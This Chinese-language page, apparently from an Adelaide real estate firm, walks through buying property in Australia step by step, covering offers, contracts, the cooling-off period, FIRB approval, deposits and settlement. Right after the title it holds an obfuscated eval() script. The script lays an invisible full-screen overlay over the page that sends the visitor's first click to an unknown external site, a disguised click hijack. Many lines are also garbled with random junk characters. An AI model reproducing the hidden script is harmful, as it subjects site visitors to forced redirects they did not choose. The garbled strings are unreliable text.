手把手教你澳洲购房流程（PINK过户）

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>最近澳洲购房的人越来越多，但是很多买家并不了解澳洲购房流程。今天PINK地产手把手教你澳洲购房流程。

' E* `$ |: d8 d第一步：看房
你可以通过互联网或者房屋中介获取房屋信息。 以下几个澳洲通用网站可以用来查询实时房屋出售信息：
( Q" d+ s" F+ g$ G4 @# z* ]. T% thttps://www.realestate.com.au/buy
( G' c( S* x1 x3 \# |" Whttps://www.domain.com.au/
0 j0 Z) g1 a# T+ N9 j当然，如果你语言不通也可以通过咨询房产中介来获取房屋信息。

购房者选定了中意的房子后，可以根据卖家中介提供的看房时间来进行实地考察。
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6 t& {# t) ?8 O: ]第二步：预定房屋
一旦选定了满意的房屋后，可以要求卖房中介提供一份购房意向表 (offer to purchase residential land).
! {. F0 {$ t( A: b" n& g购房意向表需要你提供个人信息；购房价格；订金数额（一般订金是房屋价格的10%）以及房屋交割日期。完成后，交还给卖家中介。
. j; a! [* {% G+ w注意：购房意向书不是房产合同，即使返还给卖家中介后，反悔不继续购买此房屋也不需要承担任何法律责任。
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第三步：签订购房合同

6 [+ L4 @1 S: |& G卖家看过你的购房意向书并且满意你提供的价格后，将会通过卖家中介向你提供一份购房合同。在签字前，建议雇一位过户师或者律师帮助过一遍合同。
" w  u8 l, k& S6 ?  D在南澳州，卖家同时也需要提供一份Form 1卖家申明 （申明里将提供了所有的房屋信息），买家只有在同时签了购房合同和卖家申明后，房屋合同就此生效。
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" ~: u7 N* _5 R( [第四步：法定48小时冷静期  

在签署了购房合同和卖家申明后，你将有48小时法定冷静期（每个州的法定冷静期不一）。法定冷静期的作用主要是买家在合同生效后的48小时以内，如果因为各种原因反悔购买这套房屋，可以解除合约并且不需要承担任何法律责任。
/ H+ ~, G/ O) ~5 n/ KPINK地产建议买家也可以利用48小时的冷静期雇佣一名房屋检察员进行房屋结构以及害虫检查，如果房屋报告不如意，可以通过冷静期解除合约。


# [  t/ w$ ~7 U) z第五步：申请海外人士购房许可
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海外人士同样可以购买澳洲房产，也可以享受澳洲本地的贷款政策，房产用途可以作为投资，休闲度假，以房养学等。海外人士；非澳洲公民以及非澳洲PR购房必须通过海外人士投资委员会（FIRB）的批准。购房者需要填写一份申请表格并递交FIRB审核，PINK地产可以帮助购房者协助完成。
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第六步：支付10%订金
购房者将需要支付10%的购房订金作为首付。一般卖家中介将提供信托账户信息以及支付日期。


6 [$ H. p( }* b# e第七步：过户律师
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房屋合同生效，48小时法定冷静期失效后，过户律师将帮忙处理房屋交割事宜。PINKSTERBOER房地产是南澳大利亚房地产的本地专家，成立于2001年。作为澳州本地房产专家，30年丰富经验。秉承认真负责， 诚信靠谱的服务态度，提供房产过户；房产分割；土地勘测；土地规划以及土地开发等服务。

& S& c0 N" x# m9 g3 o6 Z8 Z! h3 K第八步：交付余款和交房

8 }. l+ J5 I7 y, ~房屋交割前，代理律师会与买家以及买家贷款银行沟通需要支付的余款，以便过户日房屋交割的顺利进行。
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% j' \% b) [2 R3 A9 H2 I第九步：交割日

双方代理律师将代替买家以及卖家在土地登记局交涉，并且进行最后的房屋交割阶段。交割完成后， 购房者随后联系卖家中介领取钥匙入住新房。
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- S. H$ m8 _& o9 g需要房产过户，土地分割以及土地规划？

Pinksterboer地产过户有经验协助任何关于房产过户；土地分割和土地规划。我们常年与当地土地登记局；市政府；律师和过户师打交道，在阿德莱德我们也为很多其他过户公司提供咨询服务。

欢迎关注我们的微信公众号进行咨询：

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